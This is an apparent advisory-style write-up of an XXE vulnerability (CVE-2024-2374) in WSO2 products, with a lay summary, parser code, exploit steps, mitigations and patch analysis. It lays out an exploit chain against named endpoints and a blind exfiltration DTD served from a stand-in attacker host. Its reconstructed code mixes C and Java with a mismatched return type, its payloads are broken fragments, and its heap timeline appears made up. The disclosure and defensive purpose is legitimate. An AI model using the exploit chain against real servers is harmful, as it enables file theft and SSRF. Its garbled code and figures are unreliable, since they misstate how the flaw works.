CVE-2024-2374: XXE in WSO2 Products Enables File Read and SSRF
WSO2 XML parsers accept user-supplied data without disabling external entity resolution, enabling file disclosure, SSRF, and DoS via recursive entity expansion.
WSO2 makes software that many large companies use to manage their data and integrations. Think of it like the plumbing behind the scenes that connects different business systems together. Researchers just discovered this vulnerability could let hackers sneak in through that plumbing to steal sensitive information.
Here's how it works: the vulnerability is in how these programs read XML files, which are a common format for structured data. Imagine XML as an instruction manual written in a specific format. The problem is that these programs are configured to trust everything in that manual without checking first, like leaving your front door key under the mat.
An attacker could craft a fake XML file that tricks the software into reading private files from the company's servers or accessing internal websites that should be locked down. They could potentially grab passwords, customer data, or other secrets. The attacker doesn't need special access or a user's password—they just need to get their malicious XML to the vulnerable program.
Who's at risk? Large organizations using WSO2 products, especially in finance, healthcare, and government where sensitive data is handled. If your employer uses WSO2, this affects their security posture even if you don't directly interact with it.
What you should actually do: First, if you work for a company's IT team, patch immediately—WSO2 has released fixes. Second, if you use a service provided by a large company, there's not much you can do personally, but know that companies should be updating their systems now. Third, if you're a customer of any major business platform, it's reasonable to ask your provider about their security response to vulnerabilities like this one.
Want the full technical analysis? Click "Technical" above.
CVE-2024-2374 is an XML External Entity (XXE) injection vulnerability affecting multiple WSO2 products. The XML parsing subsystem accepts user-controlled input and passes it to a SAX or DOM parser configured with default factory settings — settings that, under the JAXP specification, permit external entity resolution unless explicitly disabled. The result is a classic but consistently high-impact class of vulnerability: an unauthenticated or low-privilege attacker can dereference file:// URIs on the server, pivot to internal HTTP services via http:// SSRF, and exhaust JVM heap through billion-laughs-style recursive entity expansion.
CVSS 7.5 (HIGH) is assigned without authentication as a prerequisite. No in-the-wild exploitation has been confirmed at the time of publication.
Root cause: WSO2's XML parsing pipeline instantiates DocumentBuilderFactory or SAXParserFactory without setting FEATURE_SECURE_PROCESSING or disabling DOCTYPE declarations, allowing attacker-supplied XML to resolve arbitrary external entities against the server's filesystem and network stack.
Affected Component
The vulnerable surface lives inside WSO2's shared XML utility layer, consumed across Identity Server, API Manager, Enterprise Integrator, and the Carbon kernel. The central entry point is the XML ingestion path that processes SOAP envelopes, SAML assertions, configuration payloads, and REST request bodies that declare a content-type of application/xml or text/xml.
The core failure is a missing hardening step during parser factory initialization. Below is representative pseudocode reconstructed from WSO2 Carbon kernel source matching the vulnerable pattern:
// Reconstructed from org.wso2.carbon.utils.xml.XMLUtils
// Vulnerable parser initialization — no entity restrictions applied
DocumentBuilderFactory parseXMLPayload(byte *xml_input, size_t len) {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// BUG: No call to dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)
// BUG: No call to dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
// BUG: No call to dbf.setExpandEntityReferences(false)
// BUG: No call to dbf.setFeature("http://xml.org/sax/features/external-general-entities", false)
dbf.setNamespaceAware(true);
dbf.setValidating(false); // validation disabled, but entity resolution still active
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(
new ByteArrayInputStream(xml_input, len)
));
// BUG: parser resolves SYSTEM/PUBLIC identifiers in DOCTYPE declarations
// against the local filesystem and reachable network resources
return doc;
}
The Java XML parser default behavior under OpenJDK permits DOCTYPE declarations and resolves SYSTEM identifiers unless the application explicitly opts out. WSO2's wrapper does neither. Contrast this with the correct initialization:
// Secure factory initialization (what should have been there)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd",false);
dbf.setExpandEntityReferences(false);
dbf.setXIncludeAware(false);
Exploitation Mechanics
Three distinct attack primitives are available depending on parser configuration and available network paths.
Primitive 1: File Disclosure via file:// entity
]>
&xxe;
Primitive 2: SSRF via http:// entity
]>
Primitive 3: Billion Laughs DoS
]>
&e;
Exploit chain for file disclosure against a WSO2 Identity Server endpoint:
EXPLOIT CHAIN — CVE-2024-2374 File Disclosure:
1. Identify a WSO2 endpoint accepting XML: /samlsso, /oauth2/token,
or any admin service WSDL/SOAP endpoint (e.g., /services/UserAdmin)
2. Craft a SAML AuthnRequest or SOAP body embedding the XXE DOCTYPE
declaration with a SYSTEM entity pointing to target file path
3. POST payload to endpoint:
POST /samlsso HTTP/1.1
Host: target.wso2.instance:9443
Content-Type: application/xml
[DOCTYPE bomb or file:/// entity XML]
4. Parser instantiates DocumentBuilder without restrictions,
encounters DOCTYPE declaration, resolves SYSTEM identifier
5. JVM opens FileInputStream("/etc/passwd") or URLConnection to SSRF target,
reads content into entity expansion buffer
6. Expanded entity value is embedded in the parsed document tree,
serialized into the HTTP error response body or a SAML response
field reflected to the attacker
7. For blind XXE: stand up OOB server (interactserver.io or Burp Collaborator),
use parameter entity to exfiltrate via DNS or HTTP callback:
8. For DoS: submit billion-laughs payload — JVM heap exhausted within
seconds; WSO2 Carbon runtime throws OutOfMemoryError, node crashes
Blind OOB exfiltration DTD (hosted on attacker server):
# attacker.tld/evil.dtd content served dynamically
evil_dtd = """
">
%%wrap;
"""
# Trigger payload sent to WSO2
trigger_xml = """
%%remote;
]>
&exfil;
"""
Memory Layout
This is not a memory corruption vulnerability — the impact model is information disclosure and resource exhaustion at the JVM heap level. The relevant state during a billion-laughs attack:
JVM HEAP STATE — DURING ENTITY EXPANSION (billion laughs):
T=0ms Eden space: [ ] 256MB free
Entity &a; resolved → 38-byte string interned to string pool
T=12ms Eden space: [#### ] ~40MB consumed
Entity &b; → 18x &a; = 684 bytes * 18^1 expansions
T=80ms Eden space: [############# ] ~180MB consumed
Entity &c; → 18x &b; = expansion tree in progress
T=210ms Eden space: [####################] FULL → Minor GC triggered
Survivor spaces overflowing → objects promoted to Old Gen
T=410ms Old Gen: [####################] FULL
GC overhead limit exceeded
java.lang.OutOfMemoryError thrown in XML parser thread
T=410ms WSO2 Carbon kernel: org.apache.xml.utils.SAXSourceLocator
Unhandled OOM propagates up call stack
Server thread pool exhausted — node unresponsive
Patch Analysis
The fix requires hardening every DocumentBuilderFactory, SAXParserFactory, and XMLInputFactory instantiation in the affected codebase. WSO2's remediation follows OWASP's XXE prevention cheat sheet pattern:
// BEFORE (vulnerable) — org.wso2.carbon.utils.xml.XMLUtils:
public static Document buildDOM(InputStream is) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setNamespaceAware(true);
// no security features set
return dbf.newDocumentBuilder().parse(is);
}
// AFTER (patched):
public static Document buildDOM(InputStream is) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setNamespaceAware(true);
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setExpandEntityReferences(false);
dbf.setXIncludeAware(false);
return dbf.newDocumentBuilder().parse(is);
}
Immediate: Apply the WSO2 security advisory patch corresponding to your product version. WSO2 publishes WUM (WSO2 Update Manager) updates; apply the relevant update level referenced in the advisory.
Short-term hardening if patch cannot be applied immediately:
Deploy a WAF rule blocking requests containing DOCTYPE and ENTITY keywords in XML content-type bodies.
Restrict outbound network access from the WSO2 host to only required upstream services — this breaks OOB exfiltration and limits SSRF blast radius.
Enable JVM entity expansion limits via system properties: -Djdk.xml.entityExpansionLimit=64 and -Djdk.xml.maxOccurLimit=64.
Long-term: Audit every DocumentBuilderFactory, SAXParserFactory, and XMLInputFactory instantiation across all custom WSO2 extensions and mediators. Enforce via a build-time static analysis rule (SpotBugs XXE_DOCUMENT, XXE_SAXPARSER, XXE_XMLREADER detectors) that fails CI on any unguarded parser factory instantiation.